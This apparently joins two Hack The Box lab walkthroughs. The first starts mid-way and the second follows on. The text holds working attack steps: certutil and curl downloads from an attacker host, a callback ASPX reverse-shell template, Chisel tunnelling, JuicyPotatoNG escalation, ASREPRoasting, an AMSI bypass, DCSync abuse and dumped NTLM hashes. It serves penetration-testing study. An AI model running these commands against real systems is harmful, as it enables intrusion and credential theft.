Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4443
Ncat: Listening on 0.0.0.0:4443
Ncat: Connection from 10.129.250.20:61291.
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
flight\c.bum
PS C:\Windows\system32> type c:/users/c.bum/desktop/user.txt
type c:/users/c.bum/desktop/user.txt
683e5f48a8edfc5d95821d5fb5285e47
PS C:\Windows\system32>

Privilege escalation

For privilege escalation, we will upload winpeas to the machine to check the privilege escalation paths that we can use... we move to the temp directory and create a directory called temp then another directory inside that called privesc where we will upload this binary.

Now just as we created a simple Python server we do the same to host our winPEASx64.exe binary. Then we download the binary to the victim machine using certutil

PS C:\windows\temp\temp\privesc> certutil.exe -urlcache -split -f http://10.10.16.20:8080/winPEASx64.exe winPEASx64.exe
certutil.exe -urlcache -split -f http://10.10.16.20:8080/winPEASx64.exe winPEASx64.exe
****  Online  ****
  000000  ...
  1eea00
CertUtil: -URLCache command completed successfully.
PS C:\windows\temp\temp\privesc> dir
dir


    Directory: C:\windows\temp\temp\privesc


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----       10/21/2023   4:22 PM        2025984 winPEASx64.exe

Now we will execute it and make it save our results to a file called results.txt

when we check out the results of the enumeration done by the winPEASx64 script, we see something interesting in the Current TCP Listening ports and we see the interesting output... the port 8000 which can be a website running internally on the machine. We can try and port-forward the port onto our machine.

Port-Forwarding using Chisel

Port forwarding using Chisel is a technique that securely redirects network traffic from one location to another. It creates a secure tunnel that allows you to access services or resources on a remote network or machine, typically bypassing firewalls or accessing internal systems. Chisel acts as an intermediary, forwarding traffic from a specified port on one end to another on the other end, enabling remote access to services that would otherwise be inaccessible from the external location. This is particularly useful for network administrators and security professionals when they need to bridge network segments or securely access services on remote systems.

so now we will upload the chisel.exe binary onto the machine using certutil... just as we did with the other uploads.

PS C:\windows\temp\temp\privesc> certutil.exe -urlcache -split -f http://10.10.16.20:8080/chisel.exe chisel.exe
certutil.exe -urlcache -split -f http://10.10.16.20:8080/chisel.exe chisel.exe
****  Online  ****
  000000  ...
  827000
CertUtil: -URLCache command completed successfully.

so now on my machine, I will start a chisel server that listens for incoming connections on port 8000 in reverse mode, allowing Chisel clients to connect to the server and establish secure tunnels for various network-related tasks. make sure you have a chisel Linux binary on your machine to do this... well it depends on the machine you're using to attack... mine's Linux...

./chisel server -v -p 8000 --reverse 
2023/10/21 20:19:47 server: Reverse tunnelling enabled
2023/10/21 20:19:47 server: Fingerprint lvYWBZUReO9PgqDJZjg1jn4xwVj/cdYJ2O3YjmVqu6U=
2023/10/21 20:19:47 server: Listening on http://0.0.0.0:8000

and then on the victim machine, we do:

./chisel client -v 10.10.16.20:8000 R:7777:127.0.0.1:8000
2023/10/21 17:56:22 client: Connecting to ws://10.10.16.20:8000
2023/10/21 17:56:23 client: Handshaking...
2023/10/21 17:56:26 client: Sending config
2023/10/21 17:56:27 client: Connected (Latency 829.0756ms)
2023/10/21 17:56:27 client: tun: SSH connected

• ./chisel client: This is the command to run the Chisel client.

• -v: It enables verbose mode, providing detailed output for monitoring and troubleshooting.

• 10.10.16.20:8000: The Chisel client connects to the Chisel server located at the IP address "10.10.16.20" on port 8000.

• R:7777:127.0.0.1:8000: This part of the command sets up a remote port forwarding rule. It forwards traffic from the Chisel client's local port 7777 to the Chisel server's 127.0.0.1:8000. In this configuration, it redirects data from the client's port 7777 to the server's 127.0.0.1:8000.

  now when we visit the page http://127.0.0.1:7777 on your web browser you will get

  

  checking the response header and using whatweb we see that the website is hosted by IIS...

  

    curl -I http://127.0.0.1:7777
    HTTP/1.1 200 OK
    Content-Length: 45949
    Content-Type: text/html
    Last-Modified: Mon, 16 Apr 2018 21:23:36 GMT
    Accept-Ranges: bytes
    ETag: "03cf42dc9d5d31:0"
    Server: Microsoft-IIS/10.0
    X-Powered-By: ASP.NET
    Date: Sun, 22 Oct 2023 02:20:09 GMT
  
    whatweb http://127.0.0.1:7777                                                             
    http://127.0.0.1:7777 [200 OK] Bootstrap, Country[RESERVED][ZZ], Frame, Google-API[ajax/libs/jquery/1.10.2/jquery.min.js], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[127.0.0.1], JQuery[1.10.2,1.11.2], Microsoft-IIS[10.0], Modernizr[2.8.3-respond-1.4.2.min], Script[text/javascript], Title[Flight - Travel and Tour], X-Powered-By[ASP.NET], X-UA-Compatible[IE=edge], YouTube
  

  since we have information that this is an IIS server we can try and upload an ASPX reverse shell on the C:\inetpub\development path, since there is a netcat session already that is running as the user c.bum and has Chisel connected to it... we will open another netcat listener to listen on port 4442 and use RunasCs to connect through port 4442.

  

    PS C:\windows\temp\privesc> .\RunasCs.exe c.bum Tikkycoll_431012284 powershell -r 10.10.16.20:4442
    [*] Warning: Using function CreateProcessWithLogonW is not compatible with logon type 8. Reverting to logon type Interactive (2)...
    [+] Running in session 0 with process function CreateProcessWithLogonW()
    [+] Using Station\Desktop: Service-0x0-79dea$\Default
    [+] Async process 'powershell' with pid 5960 created and left in background.
    PS C:\windows\temp\privesc>
  

  and the netcat shell:

  

     rlwrap ncat -lvnp 4442
    Ncat: Version 7.94 ( https://nmap.org/ncat )
    Ncat: Listening on [::]:4442
    Ncat: Listening on 0.0.0.0:4442
    Ncat: Connection from 10.129.250.20:49436.
    Windows PowerShell 
    Copyright (C) Microsoft Corporation. All rights reserved.
  

  now with this shell, we can go to the c:/inetpub/development and upload our

  ASPX rev shell but before that we make sure to modify the rev shell to include our IP and port where it's gonna call back:

  

    <%@ Page Language="C#" %>
    <%@ Import Namespace="System.Runtime.InteropServices" %>
    <%@ Import Namespace="System.Net" %>
    <%@ Import Namespace="System.Net.Sockets" %>
    <%@ Import Namespace="System.Security.Principal" %>
    <%@ Import Namespace="System.Data.SqlClient" %>
    <script runat="server">
    //Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/
    //Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip
  
        protected void Page_Load(object sender, EventArgs e)
        {
            String host = "10.10.16.20"; //CHANGE THIS
                int port = 4441; ////CHANGE THIS
  
            CallbackShell(host, port);
        }
  

  In the section where it says CHANGE THIS, I made sure to modify it and add my IP address together with the port I will be listening to.

  After that, I make sure to start a Netcat listener on the port 4441

  

  From there I started a simple Python server to host my shell.aspx(I named my shell.aspx to meme.aspx) then using curl I downloaded it onto the machine in the c:/inetpub/development directory as the user c.bum

PS C:\inetpub\development> curl http://10.10.16.20:8080/meme.aspx -o meme.aspx
curl http://10.10.16.20:8080/meme.aspx -o meme.aspx
PS C:\inetpub\development> dir
dir


    Directory: C:\inetpub\development


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       10/21/2023   7:57 PM                css                                                                   
d-----       10/21/2023   7:57 PM                fonts                                                                 
d-----       10/21/2023   7:57 PM                img                                                                   
d-----       10/21/2023   7:57 PM                js                                                                    
-a----        4/16/2018   2:23 PM           9371 contact.html                                                          
-a----        4/16/2018   2:23 PM          45949 index.html                                                            
-a----       10/21/2023   7:57 PM          15973 meme.aspx

it gets executed when we visit the webpage http:127.0.0.1:7777/meme.aspx and we get a shell back. On visiting the page we get a blank page but when we check our terminal we see that we have gotten a shell.

http://127.0.0.1:7777/meme.aspx

we get the shell as:

 rlwrap ncat -lvnp 4441
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4441
Ncat: Listening on 0.0.0.0:4441
Ncat: Connection from 10.129.250.20:49477.
Spawn Shell...
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

c:\windows\system32\inetsrv>

Administrator

when enumerating the machine we see that we have the following privileges

c:\windows\system32\inetsrv>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

From the list of privileges two privileges catch our eye and that is SeImpersonatePrivilege and SeCreateGlobalPrivilege. We can escalate our privileges through token impersonation to exploit certain Windows vulnerabilities and attempt privilege escalation.

Using a tool called Juicy Potato we can leverage this.JuicyPotato specifically targets the COM Elevation of Privilege vulnerability, which allows an attacker to manipulate access tokens and impersonate a user with higher privileges.

The COM (Component Object Model) Elevation of Privilege vulnerability is a security issue in Windows systems that allows an attacker to exploit the way Windows handles COM objects to escalate their privileges on the system. COM objects are a fundamental part of Windows used for interprocess communication and component-based software development.

The vulnerability typically involves manipulating the COM object handling process to create or modify access tokens, which define a user's rights and privileges. By manipulating these access tokens, an attacker can impersonate a user with higher privileges, such as an administrator or a SYSTEM account. This allows the attacker to gain elevated access to resources and processes on the system that are typically restricted to higher-privileged users.

In order for us to exploit this we will need juicy potato binary on the machine... so we will create a simple Python server and then upload the binary onto the machine ..

python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.250.20 - - [22/Oct/2023 01:47:00] "GET /JuicyPotatoNG.exe HTTP/1.1" 200 -

using curl on the victim's pc to upload...

c:\Windows\Temp\privesc>curl http://10.10.16.20:8080/JuicyPotatoNG.exe -o JuicyPotatoNG.exe
                        curl http://10.10.16.20:8080/JuicyPotatoNG.exe -o JuicyPotatoNG.exe
curl http://10.10.16.20:8080/JuicyPotatoNG.exe -o JuicyPotatoNG.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  150k  100  150k    0     0  44247      0  0:00:03  0:00:03 --:--:-- 44252

c:\Windows\Temp\privesc>

after uploading using the command we make it so that all users can read, write, and execute the file with unrestricted access. we do this by...

c:\Windows\Temp\privesc>icacls JuicyPotatoNG.exe /grant Users:F
                        icacls JuicyPotatoNG.exe /grant Users:F
icacls JuicyPotatoNG.exe /grant Users:F
processed file: JuicyPotatoNG.exe
Successfully processed 1 files; Failed processing 0 files

This enables all the users to read, write, and execute the file with unrestricted access.

Now we will execute Juicy potato so that we can escalate privileges and compromise the machine as nt authority\system .

c:\Windows\Temp\privesc>JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -i
                        JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -i
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -i
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\>whoami
    whoami
whoami
nt authority\system

• JuicyPotatoNG.exe: This is the name of the JuicyPotatoNG executable, which is the tool used for privilege escalation.

• -t: This option specifies the "createprocess call" mode. The asterisk () indicates that the tool should try both available options, which are CreateProcessWithTokenW and CreateProcessAsUser. These options are used to create a process with different token privileges.

• -p "C:\Windows\System32\cmd.exe": This option specifies the program to launch, which is the Windows Command Prompt (cmd.exe). In other words, it's instructing JuicyPotatoNG to attempt privilege escalation by running a Command Prompt.

• -i: This option indicates "Interactive Console." It is valid only when using CreateProcessAsUser. When used, it means that the Command Prompt will run in an interactive mode, allowing you to interact with it directly.

Now that we are nt authority\system we grab the root.txt.

HAPPY HACKING!!!

Reconnaissance(Information gathering)

so we begin our enumeration by doing an nmap scan on the machine using the custom nmap script written in bash,

result=$(nmap -p- --min-rate=1000 -Pn  -T4 10.129.171.71   | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//' | tr -d '%');nmap -p$result -Pn  -sC -sV 10.129.171.71   -oA forest

this script is a combination of two nmap commands, the first nmap command in this script scans all 65,535 possible network ports on the target computer with the IP address 10.129.171.71 . It scans quickly checking about 1,000 ports per second, and it doesn't bother with looking up hostnames ( -Pn). The main goal of the scan is to figure out the ports that are open and accessible.

The output of the first nmap command is the piped | into a series of text processing commands:

grep '^[0-9]' filters the lines that start with a number. This is used to isolate the lines containing port numbers.

cut -d '/' -f 1 splits each line at the '/' character and keeps only the first field, which represents the port number. This separates the port number from additional information.

tr '\n' ',' replaces newline characters with commas, effectively creating a comma-separated list of open ports.

sed 's/,$//' removes the trailing comma at the end of the list.

tr -d '%' removes any '%' characters incase there are any in the list

The second nmap command is executed by scanning the ports specified in the result variable. It peforms a service and version detection -sC -sV and the output is saved to a set of files with the prefix forest -oA forest

and we get the nmap scan result as:

# Nmap 7.94 scan initiated Fri Oct 13 23:23:44 2023 as: nmap -p53,135,139,389,445,464,593,636,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49681,49698,62660 -Pn -sC -sV -oA forest 10.129.171.71
Nmap scan report for 10.129.171.71
Host is up (0.56s latency).

PORT      STATE SERVICE     VERSION
53/tcp    open  domain      Simple DNS Plus
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn Microsoft Windows netbios-ssn
389/tcp   open  ldap        Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  `-W/�U      Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http  Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3269/tcp  open  tcpwrapped
5985/tcp  open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf      .NET Message Framing
47001/tcp open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc       Microsoft Windows RPC
49665/tcp open  msrpc       Microsoft Windows RPC
49666/tcp open  msrpc       Microsoft Windows RPC
49667/tcp open  msrpc       Microsoft Windows RPC
49671/tcp open  msrpc       Microsoft Windows RPC
49676/tcp open  ncacn_http  Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc       Microsoft Windows RPC
49681/tcp open  msrpc       Microsoft Windows RPC
49698/tcp open  msrpc       Microsoft Windows RPC
62660/tcp open  msrpc       Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-10-13T20:31:42
|_  start_date: 2023-10-13T20:10:53
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2023-10-13T13:31:46-07:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 2h26m50s, deviation: 4h02m32s, median: 6m48s

if you even look closely the nmap scan targetted the ports that were discovered in the first place. We also make sure to add the domain htb.local to /etc/hosts file using the command

echo "10.129.171.71 htb.local" | sudo tee -a /etc/hosts

Enumeration

By just checking thenmap output we see that we are dealing with a Windows Active Directory(Domain controller), the information on Port 389/tcp which is open identifies it as Microsoft Windows Active Directory LDAP, we also see domain information as Domain:htb.local , kerberos port 88/tcp and also dns port 53/tcp and its also interesting to see that port 5985/tcp (Winrm service) is open.

we begin by enumerating smb and we see that it allows anonymous access but seems like we don't get a listing of the shares as much as we got nothing much this is interesting!!!

we move forward to port 135(RPC) and begin doing our enumeration we start off with

rpcclient $> querydominfo

which gives us information regarding the domain, we do thorough enumeration through the commands enumdomgroups , enumdomusers and we get a very interesting output that can help us in the future. we get the output for enumdomgroups as;

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Organization Management] rid:[0x450]
group:[Recipient Management] rid:[0x451]
group:[View-Only Organization Management] rid:[0x452]
group:[Public Folder Management] rid:[0x453]
group:[UM Management] rid:[0x454]
group:[Help Desk] rid:[0x455]
group:[Records Management] rid:[0x456]
group:[Discovery Management] rid:[0x457]
group:[Server Management] rid:[0x458]
group:[Delegated Setup] rid:[0x459]
group:[Hygiene Management] rid:[0x45a]
group:[Compliance Management] rid:[0x45b]
group:[Security Reader] rid:[0x45c]
group:[Security Administrator] rid:[0x45d]
group:[Exchange Servers] rid:[0x45e]
group:[Exchange Trusted Subsystem] rid:[0x45f]
group:[Managed Availability Servers] rid:[0x460]
group:[Exchange Windows Permissions] rid:[0x461]
group:[ExchangeLegacyInterop] rid:[0x462]
group:[$D31000-NSEL5BRJ63V7] rid:[0x46d]
group:[Service Accounts] rid:[0x47c]
group:[Privileged IT Accounts] rid:[0x47d]
group:[test] rid:[0x13ed]

and the output of enumdomusers as;

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

There one particular user account in the list of user accounts identified through the RPC command enumdomusers that stands out and that is the user svc-alfresco This is a service account for the service https://www.alfresco.com/.

Doing some googling and after skimming through the service alfresco documentation we find out on https://docs.alfresco.com/process-services/latest/config/authenticate/ that the service requires Kerberos pre-authentication to be disabled

as we see on number 8, it clearly shows that Kerberos pre-authentication is disabled, Do not require Kerberos preauthentication is enabled. THIS IS A HUGE VULNERABILITY RIGHT HERE!!!

ASREPRoasting

Now let's talk about what ASREPRoasting is:

ASREPRoasting takes advantage of a weakness in the way some user accounts are configured. Specifically, it targets user accounts that have a setting called "Do not require Kerberos preauthentication" enabled. Preauthentication is a security feature that ensures the user's password is verified before granting access. If it's disabled, the system allows for a specific type of attack called ASREPRoasting.

now in our scenario as the attackers we can perform this attack, this is possible as we have identified that the service account alfresco has enabled Do not require Kerberos preauthentication , knowing this we can request a TGT (ticket-granting ticket) for this user account and since preauthentication has been disabled we will not be prompted for a way to authenticate ourselves. Its quite simple... we can use the impacket tools packet-GetNPUsers to do so.

impacket-GetNPUsers htb.local/ -dc-ip 10.129.171.71  -usersfile user.txt  -request

and successfully we have been able to request the TGT(Ticket Granting Ticket) and we have also dumped the hash. Now it's time to find a way of retrieving the plain text password from this hash. We can try to brute force this hash using the wordlist rockyou.txt. For this, we will use a favorite tool of mine when it comes to brute forcing hashes, John the Ripper. Hashcat is also good too. You do you 😂🍷

we save the hash to file called hash and then we use Johntheripper to crack the "$krb5asrep$" hash

john --wordlist=/usr/share/wordlists/rockyou.txt  hash

we get the plaintext password as

$krb5asrep$23$svc-alfresco@HTB.LOCAL:s3rvice

now that we have

credentials
username:svc-alfresco
password:s3rvice

Getting the Foothold

we can try and authenticate through winrm service(the one we saw was open earlier) using evil-winrm , lets check with crackmapexec if it winrm access is possible together with smb.

crackmapexec smb htb.local -u svc-alfresco -p s3rvice --shares

yeap we definitely have smb access with the service account svc-alfresco, though we don't seem to get anything interesting here... lets move onto winrm.

crackmapexec winrm htb.local -u svc-alfresco -p s3rvice

Awesome!!! we can gain access through winrm...

now using evil-winrm we just use the credentials we've obtained to gain access as the user account svc-alfresco.

evil-winrm  -i 10.129.171.71  -u svc-alfresco  -p 's3rvice'

Privilege escalation

so now that we have our foothold we try to map out and visualize the relationships between objects and permissions in the AD environment. For this, we will have to upload sharphound on the machine,

SharpHound's primary purpose is to perform comprehensive data collection and enumeration within Active Directory environments.

Now we will be uploading SharpHound.exe but if it were a real-life pentest it would be totally a bad idea to just upload it without doing modifications to bypass the defenses... in a real pentest, you're gonna have to highly consider Antiviruses and other detection mechanisms that have been put in place to detect and stop what your doing. We'll talk more about that in the future.

now i upload sharphound.exe through the upload functionality of evil-winrm... in other instances, you gonna have to use certutil or a simple powershell script to do this for you but in this instance, we will just upload it through evil-winrm.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> upload SharpHound.exe

now we execute sharphound.exe on the target machine

We have successfully executed SharpHound on the victim pc and have got our output

now we will just download the 20231013161843_BloodHound.zip onto our attacker machine and use bloodhound to extract the info and visualize the info for us.

just as we uploaded the sharphound.exe onto the machine we can just use the download command to download the 20231013161843_BloodHound.zip file on our machine.

Now if you are new to bloodhound, you can watch this great video done by InfoSecPat(Patrick) on how you can set it up.

as for me i'll just start up neo4j and bloodhound

and I'll open up bloodhound

now I'll make sure to clear my database and using the zip that we just downloaded from the victim machine we are going to drag it onto bloodhound and begin our analysis.

In our own analysis(made sure to mark account svc-alfresco as owned) we see that the user svc-alfresco is part of the account operators group who has generic all privileges on the "Exchange Windows Permissions" group, bloodhound informs us we can create a domain account which we can add to the "Exchange Windows Permissions" group and as part of the "Exchange Windows Permissions" we will now have writeDACL privileges. We will be able to write the Domain Access Control List of the account that we will have created to DCSync.

shortest path to domain admins made me identify the interesting group "Exchange Windows Permissions" which in turn led me to investigating the group...

generical all(INBOUND CONTROL RIGHTS-->Unrolled Object Controllers)[EXCANGE WINDOWS PERMISSIONS]

writeDACL

now that we create an account as svc-alfresco(svc-alfresco) is part of the Account operators group which enables him to add accounts in the domain... but before that lets make sure to bypass AMSI(Antimalware Scripting Interface)

AMSI stands for Antimalware Scan Interface. It is a Microsoft security feature that helps protect against and detect malicious code hidden within scripts or macros, particularly in scripting languages like PowerShell and JavaScript.

we disable this through evil-winrm using the command

Bypass-4MSI

In an actual engagement its gonna take more than that to be honest. Anyway we now continue with the process of creating an account, adding it to the domain and then to the "Exchange Windows Permissions" group to have exploited the generic all privileges that we had.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user isaiah isaiah123! /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" isaiah /add 
The command completed successfully.

Now that we have a user isaiah belonging to the "Exchange Windows Permissions" group we abuse the writeDACL privileges by following how we are guided in bloodhound. We need to upload Powerview.ps1(https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) into our victim pc which will enable us to do all this.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> upload PowerView.ps1

Info: Uploading /home/isayar17_x401a/OSCP/HTB/OSCP_Labs/forest/revisitp2/PowerView.ps1 to C:\Users\svc-alfresco\Documents\PowerView.ps1

Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPassword = ConvertTo-SecureString 'isaiah123!' -AsPlainText -Forcee
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('htb.local\isaiah', $SecPassword)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity isaiah -Rights DCSync
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>

now its with the info we get from bloodhound, the reason as to why we create the PSCredential object is because we do not an active session, but if we did we'd not have to create it... but for this scenario we have to... and the last line we give DCSync rights to the domain account isaiah which will simulate the behavior of a Domain Controller (DC) and send a DCSync request to the AD, mimicking the legitimate replication process. In response we get password hashes belonging to user accounts.

DCSync Attack

With elevated privileges, an attacker can simulate the behavior of a Domain Controller (DC) and send a DCSync request to the AD, mimicking the legitimate replication process. In response, the AD provides the attacker with password hashes for user accounts, which are often stored in a format amenable to offline cracking. (repeat of above) just echoing out...

now using impacket-secretsdump we are able to dump the NTLM hashes of domain users stored in the NTDS.dit

Impacket v0.11.0 - Copyright 2023 Fortra

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\HealthMailboxc3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f:::
htb.local\HealthMailboxfc9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44:::
htb.local\HealthMailboxc0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05:::
htb.local\HealthMailbox670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a:::
htb.local\HealthMailbox968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9:::
htb.local\HealthMailbox6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555:::
htb.local\HealthMailbox83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5:::
htb.local\HealthMailboxfd87238:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff:::
htb.local\HealthMailboxb01ac64:1142:aad3b435b51404eeaad3b435b51404ee:0d17cfde47abc8cc3c58dc2154657203:::
htb.local\HealthMailbox7108a4e:1143:aad3b435b51404eeaad3b435b51404ee:d7baeec71c5108ff181eb9ba9b60c355:::
htb.local\HealthMailbox0659cc1:1144:aad3b435b51404eeaad3b435b51404ee:900a4884e1ed00dd6e36872859c03536:::
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
